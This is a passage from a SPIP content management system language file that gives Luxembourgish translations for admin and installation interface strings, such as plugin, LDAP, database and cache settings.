'info_generation_miniatures_images' => 'Miniature vun de Biller maachen',
'info_gerer_trad' => 'Iwwersetzungs-Linken aschalten?',
'info_gerer_trad_objets' => '@objets@: Iwwersetzungs-Linke änneren',
'info_hebergeur_desactiver_envoi_email' => 'Verschidden Provideren erlabe net automatesch Emailen ze schécken. An deem Fall fonctionnéiert dat hei net.',
'info_hier' => 'gëschter:',
'info_historique_activer' => 'Versioning aschalten',
'info_historique_affiche' => 'Nei Versioun weisen',
'info_historique_comparaison' => 'Verglach',
'info_historique_desactiver' => 'Versioning ausschalten',
'info_historique_texte' => 'De Versioning erlaabt den Historique vun allen Ännerunge vun engem Artikel an d’Uweisen vun den Ënnerscheeder tëschent de Versiounen.',
'info_identification_publique' => 'Är ëffentlech Identitéit...',
'info_image_process' => 'Wielt déi bescht Method fir Vignetten ze maachen an deem dier op d’Bild klickt.',
'info_image_process2' => 'Wa kee Bild kënnt, dann ass äre Server net fir dës Funktionalitéit ageriicht. Wann dir se wëllt benotzen, kontaktéiert den technesche Responsabelen a frot no der Extensiounen "GD" oder "Imagick".',
'info_images_auto' => 'Automatesch gerechent Biller',
'info_informations_personnelles' => 'Perséinlech Informatiounen',
'info_inscription_automatique' => 'Nei Redakteren automatesch aschreiwen',
'info_jeu_caractere' => 'Buschtawe-Code vum Site',
'info_jours' => 'Deeg',
'info_laisser_champs_vides' => 'dës Felder eidel loossen)',
'info_langues' => 'Sprooche vum Site',
'info_ldap_ok' => 'D’Umeldung iwwer LDAP ass installéiert.',
'info_lien_hypertexte' => 'Link:',
'info_liste_nouveautes_envoyee' => 'D’Lëscht vun den Ännerunge gouf verschéckt',
'info_liste_redacteurs_connectes' => 'Lëscht vun den ugemellte Redakteren',
'info_login_existant' => 'Dëse Login gëtt et schon.',
'info_login_trop_court' => 'De Login ass ze kuerz.',
'info_login_trop_court_car_pluriel' => 'De Login muss mindestens @nb@ Zeechen hunn.',
'info_logos' => 'D’Logoen',
'info_maximum' => 'Maximum:',
'info_meme_rubrique' => 'An dëser Rubrik',
'info_message' => 'Message vum',
'info_message_efface' => 'MESSAGE GELÄSCHT',
'info_message_en_redaction' => 'Är Messagen an der Aarbecht',
'info_message_technique' => 'Technesche Message:',
'info_messagerie_interne' => 'Intern Messagerie',
'info_mise_a_niveau_base' => 'Upasse vun ärer SQL-Datebank',
'info_mise_a_niveau_base_2' => '{{Opgepasst!}} Dier hutt eng {al} Versioun vun de SPIP-Fichieren installéiert: är Datebank riskéiert verluer ze goen an äre Site net méi ze fonctionnéieren.<br />{{Installéiert d’SPIP-Fichieren nach eng kéier.}}',
'info_modification_enregistree' => 'Är Ännerung ass gespäichert',
'info_modifier_auteur' => 'Auteur änneren:',
'info_modifier_rubrique' => 'Rubrik änneren:',
'info_modifier_titre' => 'Änneren: @titre@',
'info_mon_site_spip' => 'Mäi SPIP-Site',
'info_mot_sans_groupe' => '(Wierder ouni Grupp...)',
'info_moteur_recherche' => 'Integréierten Sich-Motor',
'info_moyenne' => 'Duerchschnëtt',
'info_multi_articles' => 'De Sprooch-Menü bei den Artikelen aschalten?',
'info_multi_cet_article' => 'Sprooch vun dësem Artikel:',
'info_multi_langues_choisies' => 'Wielt hei d’Sproochen aus déi d’Redaktere vun ärem Site kënne benotzen. Déi schonns gebrauchte Sproochen (als éischt ugewisen) kënnen net ausgeschalt ginn.',
'info_multi_objets' => '@objets@: de Sprooch-Menü aschalten',
'info_multi_rubriques' => 'Sprooch-Menü bei de Rubriken aschalten?',
'info_multi_secteurs' => '... nëmme fir d’Haapt-Rubriken?',
'info_nb_articles' => '@nb@ Artikelen',
'info_nb_articles_syndiques' => '@nb@ verlinkten Artikelen',
'info_nb_auteurs' => '@nb@ Auteuren',
'info_nb_messages' => '@nb@ Messagen',
'info_nb_mots_cles' => '@nb@ Schlësselwierder',
'info_nb_rubriques' => '@nb@ Rubriken',
'info_nb_sites' => '@nb@ Websiten',
'info_nb_visiteurs' => '@nb@ Visiteuren',
'info_nom' => 'Numm',
'info_nom_destinataire' => 'Numm vum Destinataire',
'info_nom_site' => 'Numm vun ärem Site',
'info_nombre_articles' => '@nb_articles@ Artikelen,',
'info_nombre_partcipants' => 'HUELEN UN DER DISKUSSIOUN DEEL:',
'info_nombre_rubriques' => '@nb_rubriques@ Rubriken,',
'info_nombre_sites' => '@nb_sites@ Siten,',
'info_non_deplacer' => 'Net réckelen...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP ka regelméisseg eng Annonce vun de läschte Neiegkeeten vum Site schécken (déi läscht verëffentlecht Artikelen a Kuerzmeldungen).',
'info_non_envoi_liste_nouveautes' => 'Keng Lëscht vun de Neiegkeete schécken',
'info_non_modifiable' => 'ka net geännert ginn',
'info_non_suppression_mot_cle' => 'ech kann dëst Schlësselwuert net läschen.',
'info_note_numero' => 'Notiz @numero@',
'info_notes' => 'Notten', # war als "Notizen" übersetzt
'info_nouveaux_message' => 'Nei Messagen',
'info_nouvel_article' => 'Neien Artikel',
'info_nouvelle_traduction' => 'Nei Iwwersetzung:',
'info_numero_article' => 'ARTIKEL NUMMER:',
'info_obligatoire_02' => '(obligatoresch)',
'info_option_accepter_visiteurs' => 'D’Aschreiwung vu Visiteuren unhuelen',
'info_option_faire_suivre' => 'D’Messagen vun de Forumen un d’Auteuren vun den Artikele schécken',
'info_option_ne_pas_accepter_visiteurs' => 'D’Aschreiwung vu Visiteuren refuséieren',
'info_options_avancees' => 'FORTGESCHRATTEN OPTIOUNEN',
'info_ortho_activer' => 'D’Korrektur aschalten',
'info_ortho_desactiver' => 'D’Korrektur ausschalten',
'info_ou' => 'oder...',
'info_page_interdite' => 'Säit gespaart',
'info_par_nom' => 'no Numm',
'info_par_nombre_article' => 'no Zuel vun den Artikelen',
'info_par_statut' => 'no Status',
'info_par_tri' => '’(no @tri@)’',
'info_passe_trop_court' => 'Passwuert ze kuerz.',
'info_passe_trop_court_car_pluriel' => 'D’Passwuert muss mindestens @nb@ Zeechen hunn.',
'info_passes_identiques' => 'Déi zwee Passwierder si net selwecht.',
'info_pense_bete_ancien' => 'Är al Notizen',
'info_plus_cinq_car' => 'méi wéi 5 Buschtawen',
'info_plus_cinq_car_2' => '(Méi wéi 5 Buschtawen)',
'info_plus_trois_car' => '(Méi wéi 3 Buschtawen)',
'info_popularite' => 'Popularitéit: @popularite@; Visiten: @visites@',
'info_popularite_4' => 'Popularitéit: @popularite@; Visiten: @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-Scriptum:',
'info_pour' => 'fir',
'info_preview_admin' => 'Nëmmen d’Administrateure kréien eng Virschau vum Site',
'info_preview_comite' => 'All d’Redaktere kréien eng Virschau vum Site',
'info_preview_desactive' => 'D’Virschau ass ausgeschalt',
'info_preview_texte' => 'Dir kënnt de Site ukucken wéi wann all d’Artikelen an d’Kuerzmeldungen (déi op mannst de Status "virgeschloen" hunn) verëffentlecht wären. Soll dës Méiglechkeet fir just d’Administrateuren, fir all d’Redakteren oder fir kee gëllen.',
'info_principaux_correspondants' => 'Är wichtegst Korrespondenten',
'info_procedez_par_etape' => 'gitt Schrëtt fir Schrëtt fir',
'info_procedure_maj_version' => 'D’Update-Prozedur muss ausgeféiert ginn fir är Datebank un déi nei SPIP-Versioun unzepassen.',
'info_proxy_ok' => 'Test vum Proxy OK.',
'info_ps' => 'P.S.',
'info_publier' => 'verëffentlechen',
'info_publies' => 'Är verëffentlecht Artikelen',
'info_question_accepter_visiteurs' => 'Wann är Skeletter d’Aschreiwen vu Visiteuren ouni Zougang op de privaten Deel virgesinn, da schalt d’Optioun hei drënner an:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptéiert dier d’Aschreiwe vu neie Redakteren direkt vum ëffentleche Site? Wa jo, da kënnen d’Visiteuren sech iwwer en automatesche Formulaire aschreiwen an esou Zougang op de privaten Deel kréien fir hir Artikelen ze proposéieren. <div class="notice">Während der Aschreiwungs-Phase kréien d’Benotzer automatesch en Email mat hiren Zougangs-Informatiounen. Verschidde Provideren verbidden d’Schécken vun Email vun hire Serveuren aus: an deem Fall ass automatescht Aschreiwen onméiglech.</div>',
'info_question_utilisation_moteur_recherche' => 'Wëllt dir de Sich-Motor vu SPIP benotzen? (ausschalten mécht de System méi séier.)',
'info_question_vignettes_referer_non' => 'D’Virschau vun den Ausgangs-Site net weisen',
'info_qui_edite' => 'Den Auteur @nom_auteur_modif@ huet virun @date_diff@ Minutten un dësem Inhalt geschafft',
'info_racine_site' => 'Ufank vum Site',
'info_recharger_page' => 'Lued dës Säit an e puer Sekonne nei.',
'info_recherche_auteur_a_affiner' => 'Ze vill Resultater fir "@cherche_auteur@"; verbessert är Sich.',
'info_recherche_auteur_ok' => 'E puer Redaktere fonnt fir "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Kee Resultat fir "@cherche_auteur@".',
'info_recommencer' => 'Fänkt w.e.g. nei un.',
'info_redacteur_1' => 'Redakter',
'info_redacteur_2' => 'mat Zougang zum privaten Deel (<i>recommandéiert</i>)',
'info_redacteurs' => 'Redakteren',
'info_redaction_en_cours' => 'AN DER AARBECHT',
'info_redirection' => 'Ëmleedung',
'info_redirection_activee' => 'D’Ëmleedung ass aktiv.',
'info_redirection_desactivee' => 'D’Ëmleedung ass geläscht.',
'info_refuses' => 'Är refuséiert Artikelen',
'info_reglage_ldap' => 'Optiounen: <b>Astelle vum LDAP-Import</b>',
'info_renvoi_article' => '<b>Ëmleedung.</b> Dësen Artikel weist op d’Säit:',
'info_reserve_admin' => 'Nëmmen d’Administrateure kënnen dës Adress änneren.',
'info_restreindre_rubrique' => 'D’Verwalten aschränken op d’Rubrik:',
'info_resultat_recherche' => 'Resultater vun der Sich:',
'info_rubriques' => 'Rubriken',
'info_rubriques_02' => 'Rubriken',
'info_rubriques_trouvees' => 'Rubrike fonnt',
'info_rubriques_trouvees_dans_texte' => 'Rubrike fonnt (am Text)',
'info_sans_titre' => 'Ouni Titel',
'info_selection_chemin_acces' => '<b>Wielt</b> hei de Wee fir den Annuaire:',
'info_signatures' => 'Ënnerschrëften',
'info_site' => 'Site',
'info_site_2' => 'Site:',
'info_site_min' => 'Site',
'info_site_reference_2' => 'Verlinkte Site',
'info_site_web' => 'Website:',
'info_sites' => 'Siten',
'info_sites_lies_mot' => 'Un dëst Schlësselwuert gebonne verlinkte Siten',
'info_sites_proxy' => 'Proxy benotzen',
'info_sites_trouves' => 'Site fonnt',
'info_sites_trouves_dans_texte' => 'Site fonnt (am Text)',
'info_sous_titre' => 'Ënnertitel:',
'info_statut_administrateur' => 'Administrateur',
'info_statut_auteur' => 'Zoustand vun dësem Auteur:',
'info_statut_auteur_2' => 'Ech sinn',
'info_statut_auteur_a_confirmer' => 'Umeldung ze bestätegen',
'info_statut_auteur_autre' => 'Aneren Zoustand:',
'info_statut_efface' => 'Geläscht',
'info_statut_redacteur' => 'Redakter',
'info_statut_utilisateurs_1' => 'Default-Zoustand vun den importéierten Auteuren',
'info_statut_utilisateurs_2' => 'Wielt den Zoustand vun de Persounen aus dem LDAP-Annuaire déi sech fir d’éischt umellen. Dier kënnt duerno dës Valeur pro Auteur änneren.',
'info_suivi_activite' => 'Verfolge vun der editorialer Aktivitéit',
'info_surtitre' => 'Iwwertitel:',
'info_syndication_integrale_1' => 'Äre Site proposéiert Verlinkungs-Fichier’en (kuckt op "<a href="@url@">@titre@</a>").',
'info_syndication_integrale_2' => 'Wëllt dir d’Artikelen ganz oder nëmmen e Resumé vun e puer honnert Buschtawen bereedstellen?',
'info_table_prefix' => 'Dir kënnt de Präfix vun den Tabellen änneren (dat musst dir maachen wann dir e puer Siten op därselwechter Datebank wëllt installéieren). De Präfix muss kléng Buschtawen hunn, ouni Accent an ouni Leerzeechen.',
'info_taille_maximale_images' => 'SPIP test d’Maximalgréisst vun de Biller déi hien veraarbechte kann (a Millioune Pixel).<br /> Biller déi méi grouss sinn ginn net reduzéiert.',
'info_taille_maximale_vignette' => 'Maximal-Gréisst vun de Vignetten déi vum System gemaach ginn:',
'info_terminer_installation' => 'Dier kënnt elo déi normal Ariichtungs-Prozedur ofschléissen.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Erklärung',
'info_texte_long' => '(den Text ass laang: en ass an e puer Stécker déi bei der Bestätegung zesummen gepecht ginn.)',
'info_texte_message' => 'Text vun ärem Message',
'info_texte_message_02' => 'Text vun ärem Message',
'info_titre' => 'Titel:',
'info_total' => 'Total:',
'info_tous_articles_en_redaction' => 'All d’Artikelen an der Aarbecht',
'info_tous_articles_presents' => 'All d’Artikelen déi an dëser Rubrik verëffentlecht sinn',
'info_tous_articles_refuses' => 'All déi refuséiert Artikelen',
'info_tous_les' => 'all:',
'info_tous_redacteurs' => 'Annoncen un all d’Redakteren',
'info_tout_site' => 'De ganze Site',
'info_tout_site2' => 'Dësen Artikel ass net an déi Sprooch iwwersat.',
'info_tout_site3' => 'Den Artikel ass an déi Sprooch iwwersat, mais den Original-Artikel ass geännert ginn. D’Iwwersetzung muss ugepasst ginn.',
'info_tout_site4' => 'Den Artikel ass an déi Sprooch iwwersat, an d’Iwwersetzung ass aktuell.',
'info_tout_site5' => 'Original-Artikel.',
'info_tout_site6' => '<b>Opgepasst:</b> nëmmen d’Original-Artikelen si gewisen. D’Iwwersetzunge gehéieren zum Original, mat enger Faarf déi hiren Zoustand weist:',
'info_traductions' => 'Iwwersetzungen',
'info_travail_colaboratif' => 'Zesummenaarbecht bei den Artikelen',
'info_un_article' => 'en Artikel,',
'info_un_site' => 'e Site,',
'info_une_rubrique' => 'eng Rubrik,',
'info_une_rubrique_02' => '1 Rubrik',
'info_url' => 'URL:',
'info_url_proxy' => 'URL vum Proxy',
'info_url_site' => 'URL VUM SITE:',
'info_url_test_proxy' => 'Test-URL',
'info_urlref' => 'Link:',
'info_utilisation_spip' => 'Dir kënnt elo de System benotzen...',
'info_visites_par_mois' => 'Visite pro Mount:',
'info_visiteur_1' => 'Visiteur',
'info_visiteur_2' => 'vum ëffentleche Site',
'info_visiteurs' => 'Visiteuren',
'info_visiteurs_02' => 'Visiteure vum ëffentleche Site',
'info_webmestre_forces' => 'D’Webmasteren sinn an <tt>@file_options@</tt> definéiert.',
'install_adresse_base_hebergeur' => 'Adress vun der Datebank déi dir vum Provider krut',
'install_base_ok' => 'D’Datebank @base@ ass erkannt ginn',
'install_connect_ok' => 'Déi nei Datebank gouf ënnert dem Server-Numm @connect@ bäigefléckt.',
'install_echec_annonce' => 'D’Installatioun wäert wahrscheinlech net fonctionnéieren oder zu engem feelerhafte Site féieren...',
'install_extension_mbstring' => 'SPIP fonctionnéiert net mat:',
'install_extension_php_obligatoire' => 'SPIP brauch d’PHP-Extensioun:',
'install_login_base_hebergeur' => 'Login fir d’Verbindung deen dir vum Provider krut',
'install_nom_base_hebergeur' => 'Numm vun der Datebank déi dir vum Provider krut:',
'install_pas_table' => 'Datebank ouni Tafelen',
'install_pass_base_hebergeur' => 'Passwuert vun der Verbindung dat dir vum Hosting krut',
'install_php_version' => 'PHP-Version @version@ geet net duer (Minimum = @minimum@)',
'install_select_langue' => 'Wielt eng Sprooch a klickt op de Knäppche "Weider" fir d’Ariichten ze starten.',
'install_select_type_db' => 'Gidd den Typ vun der Datebank un:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Datebankserver vum Provider zougewisen',
'install_table_prefix_hebergeur' => 'Präfix vun den Tafelen deen dir vum Provider krut:',
'install_tables_base' => 'Datebanktabellen',
'install_types_db_connus' => 'SPIP ka <b>MySQL</b> (am wäiteste verbreet) an <b>SQLite</b> benotzen.',
'install_types_db_connus_avertissement' => '<b>PostgreSQL</b> ass och op experimenteller Basis méiglech',
'instituer_erreur_statut_a_change' => 'Den Zoustand ass schonns geännert ginn',
'instituer_erreur_statut_non_autorise' => 'Dir kënnt dësen Zoustand net wielen',
'intem_redacteur' => 'Redakter',
'intitule_licence' => 'Lizenz',
'item_accepter_inscriptions' => 'Aschreiwungen unhuelen',
'item_activer_messages_avertissement' => 'Warnungen aschalten',
'item_administrateur_2' => 'Administrateur',
'item_afficher_calendrier' => 'Am Kalenner weisen',
'item_autoriser_documents_joints' => 'Dokumenter bei den Artikelen erlaben',
'item_autoriser_documents_joints_rubriques' => 'Dokumenter an de Rubriken erlaben',
'item_autoriser_syndication_integrale' => 'D’Artikelen ganz an d’Verlinkungs-Fichieren iwwerdroen',
'item_choix_administrateurs' => 'd’Administrateuren',
'item_choix_generation_miniature' => 'Automatesch Miniature vun de Biller maachen.',
'item_choix_non_generation_miniature' => 'Keng Miniature vun de Biller maachen.',
'item_choix_redacteurs' => 'd’Redakteren',
'item_choix_visiteurs' => 'd’Visiteuren vum ëffentleche Site',
'item_creer_fichiers_authent' => 'D’Fichieren .htpasswd bäiflécken',
'item_limiter_recherche' => 'D’Sich vun den Informatiounen op äre Site limitéieren',
'item_login' => 'Login',
'item_messagerie_agenda' => 'D’Messagerie an den Agenda aschalten',
'item_mots_cles_association_articles' => 'vun den Artikelen',
'item_mots_cles_association_rubriques' => 'vun de Rubriken',
'item_mots_cles_association_sites' => 'vun de verlinkte Siten.',
'item_non' => 'Neen',
'item_non_accepter_inscriptions' => 'Keng Aschreiwung unhuelen',
'item_non_activer_messages_avertissement' => 'Keng Warnungen',
'item_non_afficher_calendrier' => 'Kee Kalenner weisen',
'item_non_autoriser_documents_joints' => 'Keng Dokumenter bei den Artikelen erlaben',
'item_non_autoriser_documents_joints_rubriques' => 'Keng Dokumenter an de Rubriken erlaben',
'item_non_autoriser_syndication_integrale' => 'Nëmmen e Resumé iwwerdroen',
'item_non_compresseur' => 'Kompressioun ausschalten',
'item_non_creer_fichiers_authent' => 'Dës Fichieren net bäiflécken',
'item_non_gerer_statistiques' => 'D’Statistik ausschalten',
'item_non_limiter_recherche' => 'D’Sich op den Inhalt vun de verlinkte Siten erweideren',
'item_non_messagerie_agenda' => 'D’Messagerie an den Agenda ausschalten',
'item_non_publier_articles' => 'D’Artikelen net virun dem Verëffentlechungs-Datum fräiginn.',
'item_non_utiliser_moteur_recherche' => 'De Sich-Motor ausschalten',
'item_nouvel_auteur' => 'Neien Auteur',
'item_nouvelle_rubrique' => 'Nei Rubrik',
'item_oui' => 'Jo',
'item_publier_articles' => 'D’Artikelen fäiginn, egal wéi e Verëffentlechungs-Datum',
'item_reponse_article' => 'Äntwert op den Artikel',
'item_utiliser_moteur_recherche' => 'De Sich-Motor aschalten',
'item_version_html_max_html4' => 'Op HTML4 um ëffentleche Site beschränken',
'item_version_html_max_html5' => 'HTML5 erlaaben',
'item_visiteur' => 'Visiteur',
// J
'jour_non_connu_nc' => '?',
// L
'label_bando_outils' => 'Geschirband',
'label_bando_outils_afficher' => 'Geschir weisen',
'label_bando_outils_masquer' => 'Geschir verstoppen',
'label_choix_langue' => 'Wielt är Sprooch aus',
'label_nom_fichier_connect' => 'Gidd de Numm vun dësem Server un',
'label_slogan_site' => 'Slogan vum Site',
'label_taille_ecran' => 'Breet vum Bildschierm',
'label_texte_et_icones_navigation' => 'Navigatiouns-Menü',
'label_texte_et_icones_page' => 'Uweisen an der Säit',
'ldap_correspondance' => 'verierft vum Feld @champ@',
'ldap_correspondance_1' => 'Verierwen vun den LDAP-Felder',
'ldap_correspondance_2' => 'Gidd de Numm vum LDAP-Feld un deen zu jiddwer SPIP-Feld gehéiert. Loosst eidel fir net auszefëllen, trennt mat Leerzeechen oder Komma fir e puer LDAP-Felder ze probéieren.',
'lien_ajout_destinataire' => 'Destinataire bäiflécken',
'lien_ajouter_auteur' => 'Dësen Auteur bäiflécken',
'lien_ajouter_participant' => 'E Mataarbechter bäiflécken',
'lien_ajouter_une_rubrique' => 'Dës Rubrik bäiflécken',
'lien_email' => 'Email',
'lien_nom_site' => 'NUMM VUM SITE:',
'lien_retirer_auteur' => 'Auteur läschen',
'lien_retirer_rubrique' => 'D’Rubrik zeréckzéien',
'lien_retirer_tous_auteurs' => 'All d’Auteuren ewech huelen',
'lien_retirer_toutes_rubriques' => 'All Rubriken zeréckzéien',
'lien_retrait_particpant' => 'Mataarbechter läschen',
'lien_site' => 'Site',
'lien_supprimer_rubrique' => 'dës Rubrik läschen',
'lien_tout_deplier' => 'Alles opklappen',
'lien_tout_replier' => 'Alles zouklappen',
'lien_tout_supprimer' => 'Alles läschen',
'lien_trier_nom' => 'No Numm sortéieren',
'lien_trier_nombre_articles' => 'No Zuel vun den Artikelen sortéieren',
'lien_trier_statut' => 'No Status sortéieren',
'lien_voir_en_ligne' => 'ONLINE KUCKEN:',
'logo_article' => 'Logo vum Artikel',
'logo_auteur' => 'Logo vum Auteur',
'logo_rubrique' => 'Logo vun der Rubrik',
'logo_site' => 'Logo vun dësem Site',
'logo_standard_rubrique' => 'Standard-Logo vun de Rubriken',
'logo_survol' => 'Logo fir de MouseOver',
// M
'menu_aide_installation_choix_base' => 'Wiel vun ärer Datebank',
'module_fichier_langue' => 'Sprooche-Fichier',
'module_raccourci' => 'Ofkierzung',
'module_texte_affiche' => 'Gewisenen Text',
'module_texte_explicatif' => 'Dir kënnt dës Ofkierzungen an de Skelett vum ëffentleche Site abauen. Si ginn automatesch an déi Sproochen iwwersat wou et e Sprooche-Fichier gëtt.',
'module_texte_traduction' => 'De Sprooche-Fichier « @module@ » gëtt et op:',
'mois_non_connu' => 'onbekannt',
// N
'nouvelle_version_spip' => 'D’Versioun @version@ vu SPIP ass do',
// O
'onglet_contenu' => 'Inhalt',
'onglet_declarer_une_autre_base' => 'Eng aner Datebank ariichten',
'onglet_discuter' => 'Diskutéieren',
'onglet_documents' => 'Dokumenter',
'onglet_interactivite' => 'Interaktivitéit',
'onglet_proprietes' => 'Propriétéiten',
'onglet_repartition_actuelle' => 'elo',
'onglet_sous_rubriques' => 'Ënner-Rubriken',
// P
'page_pas_proxy' => 'Dës Säit däerf net duerch de Proxy',
'pas_de_proxy_pour' => 'Wa néideg dann gitt déi Maschinnen oder Domainer un fir déi dëse Proxy net zielt (z.B.: @exemple@)',
'plugin_charge_paquet' => 'De Package @name@ lueden',
'plugin_charger' => 'Eroflueden',
'plugin_erreur_charger' => 'Fehler: onméiglech @zip@ ze lueden',
'plugin_erreur_droit1' => 'Den Dossier <code>@dest@</code> ass net beschreiwbar.',
'plugin_erreur_droit2' => 'Kontrolléiert d’Rechter op dësem Dossier oder installéiert d’Fichieren mat FTP.',
'plugin_erreur_zip' => 'pclzip: Fehler @status@',
'plugin_etat_developpement' => 'an der Entwécklung',
'plugin_etat_experimental' => 'experimentel',
'plugin_etat_stable' => 'stabil',
'plugin_etat_test' => 'am Test',
'plugin_impossible_activer' => 'De Plugin @plugin@ ka net aktivéiert ginn',
'plugin_info_automatique1' => 'Wann dir d’automatesch Ariichte vun Pluginen erlaabt, dann:',
'plugin_info_automatique1_lib' => 'Wann dir d’automatesch Ariichte vun dëser Library wëllt erlaben, dann:',
'plugin_info_automatique2' => 'fléckt den Dossier <code>@rep@</code> bäi;',
'plugin_info_automatique3' => 'kontrolléiert op de Server kann an dësen Dossier schreiwen.',
'plugin_info_automatique_creer' => 'am Root-Dossier vum Site ze erstellen.',
'plugin_info_automatique_exemples' => 'Beispiller:',
'plugin_info_automatique_ftp' => 'Dir kënnt d’Plugine per FTP an den Dossier <tt>@rep@</tt> iwwerdroën',
'plugin_info_automatique_lib' => 'Verschidde Plugine musse kënne Fichieren an den Dossier <code>lib/</code> eroflueden, eventuell am Root-Dossier vum Site bäiflécken.',
'plugin_info_automatique_liste' => 'Är Plugin-Lëscht:',
'plugin_info_automatique_liste_officielle' => 'déi offiziell Pluginen',
'plugin_info_automatique_liste_update' => 'Lëschten upassen',
'plugin_info_automatique_ou' => 'oder...',
'plugin_info_automatique_select' => 'Wielt e Plugin: SPIP luet en erof an installéiert en am Dossier <code>@rep@</code>; wann de Plugin schonns do ass gëtt en Update gemaach.',
'plugin_info_credit' => 'Krediter',
'plugin_info_erreur_xml' => 'D’Deklaratioun vun dësem Plugin ass falsch',
'plugin_info_install_ok' => 'D’Ariichten huet geklappt',
'plugin_info_necessite' => 'Brauch:',
'plugin_info_non_compatible_spip' => 'Dëse Plugin ass mat der heiter SPIP-Versioun net kompatibel',
'plugin_info_plugins_dist_1' => 'Déi hei Plugine sinn an den Dossier @plugins_dist@ gelueden an ageschalt.',
'plugin_info_plugins_dist_2' => 'Si kënne net ausgeschalt ginn.',
'plugin_info_telecharger' => 'Eroflueden vun @url@ an Ariichten an @rep@',
'plugin_librairies_installees' => 'Installéiert Librairie’en',
'plugin_necessite_lib' => 'Dëse Plugin brauch d’Librairie @lib@',
'plugin_necessite_plugin' => 'De Plugin @plugin@ muss mindestens op der Versioun @version@ sinn.',
'plugin_necessite_plugin_sans_version' => 'Brauch de Plugin @plugin@',
'plugin_necessite_spip' => 'SPIP muss mindestens op der Versioun @version@ sinn.',
'plugin_source' => 'Quell: ',
'plugin_titre_automatique' => 'Automatescht Ariichten',
'plugin_titre_automatique_ajouter' => 'Pluginen bäiflécken',
'plugin_titre_installation' => 'Ariichte vum Plugin @plugin@',
'plugin_titre_modifier' => 'Meng Pluginen',
'plugin_zip_active' => 'Fuert weider fir anzeschalten',
'plugin_zip_adresse' => 'gitt hei d’Adress vun engem Plugin-Zip-Fichier un, oder d’Adress vun enger Lëscht vu Pluginen.',
'plugin_zip_adresse_champ' => 'Adress vum Plugin oder vun der Lëscht ',
'plugin_zip_content' => 'Folgend Fichieren sinn dran (@taille@),<br />prëtt fir am Dossier <code>@rep@</code> ageriicht ze ginn',
'plugin_zip_installe_finie' => 'De Fichier @zip@ ass entpaakt an ageriicht ginn.',
'plugin_zip_installe_rep_finie' => 'De Fichier @zip@ ass entpaakt an am Dossier @rep@ ageriicht ginn',
'plugin_zip_installer' => 'Dir kënnt en elo ariichten.',
'plugin_zip_telecharge' => 'De Fichier @zip@ ass erofgeluede ginn',
'plugins_actif_aucun' => 'Et ass kee Plugin ageschalt.',
'plugins_actif_un' => '1 Plugin ageschalt.',
'plugins_actifs' => '@count@ aktivéiert Pluginen.',
'plugins_actifs_liste' => 'Aktiv',
'plugins_compte' => '@count@ Pluginen',
'plugins_disponible_un' => '1 Plugin ze kréien.',
'plugins_disponibles' => '@count@ Pluginen verfügbar.',
'plugins_erreur' => 'Fehler an de Pluginen: @plugins@',
'plugins_liste' => 'Lëscht vun de Pluginen',
'plugins_liste_dist' => 'Gespaarte Pluginen',
'plugins_recents' => 'Nei Pluginen.',
'plugins_tous_liste' => 'All',
'plugins_vue_hierarchie' => 'Hierarchie',
'plugins_vue_liste' => 'Lëscht',
'protocole_ldap' => 'Versioun vum Protokoll:',
// Q
'queue_executer_maintenant' => 'Elo ausféieren',
'queue_info_purger' => 'Dir kënnt all Aarbechten déi nach ustinn läschen an d’Lëscht mat de periodeschen Aarbechten nei starten',
'queue_nb_jobs_in_queue' => '@nb@ Aarbechten an der Waardeschläif',
'queue_next_job_in_nb_sec' => 'Nächst Aarbecht an @nb@ s',
'queue_no_job_in_queue' => 'Kéng Aarbecht an der Waardeschläif',
'queue_one_job_in_queue' => '1 Aarbecht an der Waardeschläif',
'queue_purger_queue' => 'D’Aarbechtslëscht nei starten',
'queue_titre' => 'Aarbechtslëscht',
// R
'repertoire_plugins' => 'Dossier:',
// S
'sans_heure' => 'ouni Zäit',
'statut_admin_restreint' => '(restriktiven Admin)', # MODIF
// T
'tache_cron_asap' => 'CRON-Aarbecht @function@ (ASAP)',
'tache_cron_secondes' => 'CRON-Aarbecht @function@ (all @nb@ s)',
'taille_cache_image' => 'Déi automatësch berechent Biller (Vignette vun Dokumenter, graphesch Titelen, mathematesch Formelen am TeX-Format...) brauchen am Dossier @dir@ eng Plaz vun @taille@.',
'taille_cache_infinie' => 'De Cache vun dësem Site ass net an der Gréisst beschränkt.',
'taille_cache_maxi' => 'SPIP probéiert d’Gréisst vum Cache vun dësem Site op ongeféier <b>@octets@</b> ze beschränken.',
'taille_cache_moins_de' => 'D’Gréisst vum Cache ass méi kléng wéi @octets@.',
'taille_cache_octets' => 'D’Gréisst vum Cache ass momentan ongeféier @octets@.',
'taille_cache_vide' => 'De Cache ass eidel.',
'taille_repertoire_cache' => 'Gréisst vum Cache-Dossier',
'text_article_propose_publication' => 'Fir d’Verëffentlechung virgeschloen Artikel.',
'texte_acces_ldap_anonyme_1' => 'Verschidden LDAP-Serveren erlabe keen anonymen Zougang. An deem Fall musst dir en initialen Zougang uginn fir Informatiounen am Annuaire kënnen ze sichen. An deenen meeschte Fäll kënnt dier dës Felder eidel loossen.',
'texte_admin_effacer_01' => 'Dës Prozedur läscht <i>alles</i> aus der Datebank, och <i>all</i> Zougäng vun de Redakteren an Administrateuren. Duerno musst dir SPIP nei installéieren fir eng nei Datebank an den éischten Admin-Zougang bäizeflécken.',
'texte_adresse_annuaire_1' => '(Wann ären Annuaire op därselwechter Maschinn installéiert ass, dann ass et hei wahrscheinlech "localhost".)',
'texte_ajout_auteur' => 'Dësen Auteur gouf beim Artikel bäigefléckt:',
'texte_annuaire_ldap_1' => 'Wann dir Zougang zu engem Annuaire (LDAP) hutt, da kënnt dir e benotzen fir automatesch d’Benotzer vu SPIP ze importéieren.',
'texte_article_statut' => 'Dësen Artikel ass:',
'texte_article_virtuel' => 'Virtuellen Artikel',
'texte_article_virtuel_reference' => '<b>Virtuellen Artikel:</b> am SPIP agedroen, mais op eng aner URL ëmgeleet. Fir d’Ëmleedung ze läschen, läscht d’URL hei driwwer.',
'texte_aucun_resultat_auteur' => 'Kee Resultat fir "@cherche_auteur@"',
